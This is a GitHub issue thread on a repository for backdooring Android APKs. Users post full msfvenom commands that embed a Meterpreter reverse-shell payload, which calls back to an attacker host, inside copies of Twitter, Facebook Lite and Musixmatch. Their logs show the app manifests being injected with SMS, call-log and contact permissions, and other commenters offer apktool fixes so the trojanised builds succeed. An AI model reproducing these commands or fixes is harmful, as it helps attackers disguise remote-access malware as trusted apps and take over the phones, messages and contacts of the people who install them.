dana-at-cp / backdoor-apk

backdoor-apk is a shell script that simplifies the process of adding a backdoor to any Android APK file. Users of this shell script should have working knowledge of Linux, Bash, Metasploit, Apktool, the Android SDK, smali, etc. This shell script is provided as-is without warranty of any kind and is intended for educational purposes only.
Apache License 2.0
2.21k stars 702 forks source link

APKTOOL ERORR : Error: Unable to rebuild apk with apktool #105

Closed moosx closed 7 years ago

moosx commented 7 years ago

hey guys

help me !!

why my apktool can't rebulld apk ??

msfvenom -x twitter.apk -p android/meterpreter/reverse_tcp LHOST=my ip LPORT=4444 -k -o twiiterMX.apk

Using APK template: twitter.apk No platform was selected, choosing Msf::Module::Platform::Android from the payload No Arch selected, selecting Arch: dalvik from the payload [*] Creating signing key and keystore.. [*] Decompiling original APK.. [*] Decompiling payload APK.. [*] Locating hook point.. [*] Adding payload as package com.twitter.android.kpbkd [*] Loading /tmp/d20170504-3111-1bifbdj/original/smali/com/twitter/app/common/app/TwitterApplication.smali and injecting payload.. [*] Poisoning the manifest with meterpreter permissions.. [*] Adding <uses-permission android:name="android.permission.WRITE_CALL_LOG"/> [*] Adding <uses-permission android:name="android.permission.WRITE_CONTACTS"/> [*] Adding <uses-permission android:name="android.permission.CHANGE_WIFI_STATE"/> [*] Adding <uses-permission android:name="android.permission.SEND_SMS"/> [*] Adding <uses-permission android:name="android.permission.CALL_PHONE"/> [*] Adding <uses-permission android:name="android.permission.SET_WALLPAPER"/> [*] Adding <uses-permission android:name="android.permission.READ_CALL_LOG"/> [*] Adding <uses-permission android:name="android.permission.WRITE_SETTINGS"/> [*] Adding <uses-permission android:name="android.permission.READ_SMS"/> [*] Rebuilding /home/moos/Downloads/twitter.apk with meterpreter injection as /tmp/d20170504-3111-1bifbdj/output.apk Error: Unable to rebuild apk with apktool

Error: Unable to rebuild apk with apktool??!!

Cybathreat commented 7 years ago

You can only use Windows executable s with -x options

On May 4, 2017 17:38, "moosx" notifications@github.com wrote:

hey guys

help me !!

why my apktool can't rebulld apk ??

msfvenom -x twitter.apk -p android/meterpreter/reverse_tcp LHOST=my ip LPORT=4444 -k -o twiiterMX.apk

Using APK template: twitter.apk No platform was selected, choosing Msf::Module::Platform::Android from the payload No Arch selected, selecting Arch: dalvik from the payload [] Creating signing key and keystore.. [] Decompiling original APK.. [] Decompiling payload APK.. [] Locating hook point.. [] Adding payload as package com.twitter.android.kpbkd [] Loading /tmp/d20170504-3111-1bifbdj/original/smali/com/twitter/app/common/app/TwitterApplication.smali and injecting payload.. [] Poisoning the manifest with meterpreter permissions.. [] Adding [] Adding [] Adding [] Adding <uses-permission android:name="android.permission.SEND_SMS"/> [] Adding <uses-permission android:name="android.permission.CALL_PHONE"/> [] Adding [] Adding [] Adding [] Adding [*] Rebuilding /home/moos/Downloads/twitter.apk with meterpreter injection as /tmp/d20170504-3111-1bifbdj/output.apk Error: Unable to rebuild apk with apktool

Error: Unable to rebuild apk with apktool??!!

— You are receiving this because you are subscribed to this thread. Reply to this email directly, view it on GitHub https://github.com/dana-at-cp/backdoor-apk/issues/105, or mute the thread https://github.com/notifications/unsubscribe-auth/AHmRPB96b_PBPbhc0zvWsXVdBU_hy4ZWks5r2f8YgaJpZM4NQ7TT .

Cybathreat commented 7 years ago

Sorry my bad , I didn't know you can use an apk

On May 4, 2017 17:52, "Ahmed chiboub" chiboub13@gmail.com wrote:

You can only use Windows executable s with -x options

On May 4, 2017 17:38, "moosx" notifications@github.com wrote:

hey guys

help me !!

why my apktool can't rebulld apk ??

msfvenom -x twitter.apk -p android/meterpreter/reverse_tcp LHOST=my ip LPORT=4444 -k -o twiiterMX.apk

Using APK template: twitter.apk No platform was selected, choosing Msf::Module::Platform::Android from the payload No Arch selected, selecting Arch: dalvik from the payload [] Creating signing key and keystore.. [] Decompiling original APK.. [] Decompiling payload APK.. [] Locating hook point.. [] Adding payload as package com.twitter.android.kpbkd [] Loading /tmp/d20170504-3111-1bifbdj/original/smali/com/twitter/app/ common/app/TwitterApplication.smali and injecting payload.. [] Poisoning the manifest with meterpreter permissions.. [] Adding [] Adding [] Adding [] Adding [] Adding [] Adding [] Adding [] Adding [] Adding [*] Rebuilding /home/moos/Downloads/twitter.apk with meterpreter injection as /tmp/d20170504-3111-1bifbdj/output.apk Error: Unable to rebuild apk with apktool

Error: Unable to rebuild apk with apktool??!!

— You are receiving this because you are subscribed to this thread. Reply to this email directly, view it on GitHub https://github.com/dana-at-cp/backdoor-apk/issues/105, or mute the thread https://github.com/notifications/unsubscribe-auth/AHmRPB96b_PBPbhc0zvWsXVdBU_hy4ZWks5r2f8YgaJpZM4NQ7TT .

moosx commented 7 years ago

??????

moosx commented 7 years ago

hey !!!!!!!!!!!!!!!!!!!!!

dana-at-cp commented 7 years ago

Apktool has issues with some APK files in certain cases. Check with the Apktool project to see if your issue has a resolution.

GHowlett commented 7 years ago

why was this marked invalid?

ahmeesalaar12 commented 7 years ago

Check with the Apktool project to see if your issue has a resolution. what do you mean by this ?

DedSecWare commented 6 years ago

Error: Unable to rebuild apk with apktool What to do

rootech1 commented 6 years ago

how to fix this error msfvenom -x /root/Desktop/Musixmatch.apk -p android/meterpreter/reverse_tcp LHOST=197.231.43.178 LPORT=6060 -o /root/Desktop/Musixmatchreload.apk

Using APK template: /root/Desktop/Musixmatch.apk No platform was selected, choosing Msf::Module::Platform::Android from the payload No Arch selected, selecting Arch: dalvik from the payload [] Creating signing key and keystore.. [] Decompiling original APK.. [] Decompiling payload APK.. [] Locating hook point.. [] Adding payload as package com.musixmatch.android.lyrify.pnriw [] Loading /tmp/d20180528-4429-p0wqf6/original/smali/o/abm.smali and injecting payload.. [] Poisoning the manifest with meterpreter permissions.. [] Adding [] Adding [] Adding [] Adding [] Adding [] Adding [] Adding [] Adding [] Adding [] Adding [] Adding [] Adding [] Adding [*] Rebuilding /root/Desktop/Musixmatch.apk with meterpreter injection as /tmp/d20180528-4429-p0wqf6/output.apk Error: Unable to rebuild apk with apktool

rootech1 commented 6 years ago

how to fix this error msfvenom -x /root/Desktop/Musixmatch.apk -p android/meterpreter/reverse_tcp LHOST=197.231.43.178 LPORT=6060 -o /root/Desktop/Musixmatchreload.apk

Using APK template: /root/Desktop/Musixmatch.apk No platform was selected, choosing Msf::Module::Platform::Android from the payload No Arch selected, selecting Arch: dalvik from the payload [] Creating signing key and keystore.. [] Decompiling original APK.. [] Decompiling payload APK.. [] Locating hook point.. [] Adding payload as package com.musixmatch.android.lyrify.pnriw [] Loading /tmp/d20180528-4429-p0wqf6/original/smali/o/abm.smali and injecting payload.. [] Poisoning the manifest with meterpreter permissions.. [] Adding [] Adding [] Adding [] Adding [] Adding [] Adding [] Adding [] Adding [] Adding [] Adding [] Adding [] Adding [] Adding [*] Rebuilding /root/Desktop/Musixmatch.apk with meterpreter injection as /tmp/d20180528-4429-p0wqf6/output.apk Error: Unable to rebuild apk with apktool

ahmeesalaar12 commented 6 years ago

lport=6060 "-o " -0

On Sat, Sep 1, 2018 at 1:15 AM sajinstalin01 notifications@github.com wrote:

same issue

— You are receiving this because you commented. Reply to this email directly, view it on GitHub https://github.com/dana-at-cp/backdoor-apk/issues/105#issuecomment-417842094, or mute the thread https://github.com/notifications/unsubscribe-auth/AdWvpXFM4I3_AVKJeIYMQW2XySvuhoHkks5uWkI9gaJpZM4NQ7TT .

fedi966 commented 6 years ago

any one have a solution???

adityaponukupati commented 5 years ago

root@aditya:~/Desktop# msfvenom -x '/root/Desktop/facebook_lite_v129.0.0.10.99.apk' -p android/meterpreter/reverse_https LHOST=192.168.0.6 LPORT=8080 -o facebook.apk Using APK template: /root/Desktop/facebook_lite_v129.0.0.10.99.apk [-] No platform was selected, choosing Msf::Module::Platform::Android from the payload [-] No arch selected, selecting arch: dalvik from the payload [] Creating signing key and keystore.. [] Decompiling original APK.. [] Decompiling payload APK.. [] Locating hook point.. [] Adding payload as package com.facebook.lite.yurxo [] Loading /tmp/d20190117-6880-1vllu85/original/smali/com/facebook/lite/ClientApplicationShell.smali and injecting payload.. [] Poisoning the manifest with meterpreter permissions.. [] Adding [] Adding [] Adding [] Adding [] Adding [*] Rebuilding /root/Desktop/facebook_lite_v129.0.0.10.99.apk with meterpreter injection as /tmp/d20190117-6880-1vllu85/output.apk [-] I: Using Apktool 2.3.4-dirty I: Checking whether sources has changed... I: Smaling smali folder into classes.dex... I: Checking whether resources has changed... I: Building resources... W: aapt: brut.common.BrutException: brut.common.BrutException: Could not extract resource: /prebuilt/aapt/linux/aapt (defaulting to $PATH binary) W: First type is not attr! W: A/ ( 7109): First type is not attr! brut.androlib.AndrolibException: brut.common.BrutException: could not exec (exit code = 134): [aapt, p, --min-sdk-version, 14, --target-sdk-version, 26, --version-code, 138094035, --version-name, 129.0.0.10.99, --no-version-vectors, -F, /tmp/APKTOOL16497756903557242296.tmp, -0, png, -0, jpg, -0, arsc, -I, /root/.local/share/apktool/framework/1.apk, -S, /tmp/d20190117-6880-1vllu85/original/res, -M, /tmp/d20190117-6880-1vllu85/original/AndroidManifest.xml] Error: Unable to rebuild apk with apktool

is there any solution for this??

Hacker007RP commented 5 years ago

first you install new version of apktool and wrapper file in your linux you can get this new apktool and wrapper https://www.youtube.com/redirect?v=KRc4T6Mo8w4&event=video_description&q=https%3A%2F%2Fibotpeaches.github.io%2FApktool%2Finstall%2F&redir_token=QlqEaRkXIYvv9IPWU239sliX5Vx8MTU2NzAwNjE5OEAxNTY2OTE5Nzk4 you can save apktool.jar file and wrapper save as apktool you can give permission to this two file such as chmod +x apktool and chmod +x apktool.jar copy this two files into /usr/local/bin now open terminal and install sudo apt-get install lib32stdc++6 lib32z1 lib32z1-dev now test binding apk with original apk is again says unable to rebuild apk with apktool now open terminal and type following command apktool empty-framework-dir --force

your problem has bin solved

adityaponukupati commented 5 years ago

this error repeated again with some another error comment but the final error is same comment 'unable to rebuild apk with apktool mentioned below error photo

On Tue, Aug 27, 2019 at 9:07 PM Hacker007RP notifications@github.com wrote:

first you install new version of apktool and wrapper file in your li you can get this new apktool and wrapper https://www.youtube.com/redirect?v=KRc4T6Mo8w4&event=video_description&q=https%3A%2F%2Fibotpeaches.github.io%2FApktool%2Finstall%2F&redir_token=QlqEaRkXIYvv9IPWU239sliX5Vx8MTU2NzAwNjE5OEAxNTY2OTE5Nzk4 you can save apktool.jar file and wrapper save as apktool you can give permission to this two file such as chmod +x apktool and chmod +x apktool.jar copy this two files into /usr/local/bin now open terminal and install sudo apt-get install lib32stdc++6 lib32z1 lib32z1-dev now test binding apk with original apk is again says unable to rebuild apk with apktool now open terminal and type following command apktool empty-framework-dir --force

your problem has bin solved

— You are receiving this because you commented. Reply to this email directly, view it on GitHub https://github.com/dana-at-cp/backdoor-apk/issues/105?email_source=notifications&email_token=ALEDZA6NEUPYBEUZ56YF7ZLQGVC2DA5CNFSM4DKDWTJ2YY3PNVWWK3TUL52HS4DFVREXG43VMVBW63LNMVXHJKTDN5WW2ZLOORPWSZGOD5IFJ6A#issuecomment-525358328, or mute the thread https://github.com/notifications/unsubscribe-auth/ALEDZA3PLVQVNKNDHB4IZFTQGVC2DANCNFSM4DKDWTJQ .

Hacker007RP commented 5 years ago

produce the following following procedure i will give in comment because i also got this error but now it will be solve i will provide you my video just mail me on my gmail

Hacker007RP commented 5 years ago

your system cand install apktool latest version in kali linux you will get error only for this download apktoolfix on github and run chmod +x apktoolfix.sh then it will be download the letest version of apktool such as 2.4.0 you need for this apktool version for building an apk

adityaponukupati commented 5 years ago

u can contact me at my mail : adityaponukupati@gmail.com and my phone no is 9182458102 sending you details because i dont have your mail id

On Tue, Sep 17, 2019 at 11:25 AM Hacker007RP notifications@github.com wrote:

produce the following following procedure i will give in comment because i also got this error but now it will be solve i will provide you my video just mail me on my gmail

— You are receiving this because you commented. Reply to this email directly, view it on GitHub https://github.com/dana-at-cp/backdoor-apk/issues/105?email_source=notifications&email_token=ALEDZA76DFMWDX3XNC33WJDQKBWOPA5CNFSM4DKDWTJ2YY3PNVWWK3TUL52HS4DFVREXG43VMVBW63LNMVXHJKTDN5WW2ZLOORPWSZGOD63MFQA#issuecomment-532071104, or mute the thread https://github.com/notifications/unsubscribe-auth/ALEDZA7QLBD4TYK34MBJZCLQKBWOPANCNFSM4DKDWTJQ .

hosseinka1380 commented 4 years ago

root@dhcppc0:~# msfvenom -x facebook-lite_3717850734.exe -p android/meterpreter/reverse_tcp LHOST=..... LPORT=4444 -o /root/lite.apk Using APK template: facebook-lite_3717850734.exe [-] No platform was selected, choosing Msf::Module::Platform::Android from the payload [-] No arch selected, selecting arch: dalvik from the payload Error: Malformed version number string 2.4.1-dirty Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true

spolden commented 4 years ago

root@dhcppc0:~# msfvenom -x facebook-lite_3717850734.exe -p android/meterpreter/reverse_tcp LHOST=..... LPORT=4444 -o /root/lite.apk Using APK template: facebook-lite_3717850734.exe [-] No platform was selected, choosing Msf::Module::Platform::Android from the payload [-] No arch selected, selecting arch: dalvik from the payload Error: Malformed version number string 2.4.1-dirty Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true

I solved this by using 'sudo xxxxx(command)'. But I logged in as a common user.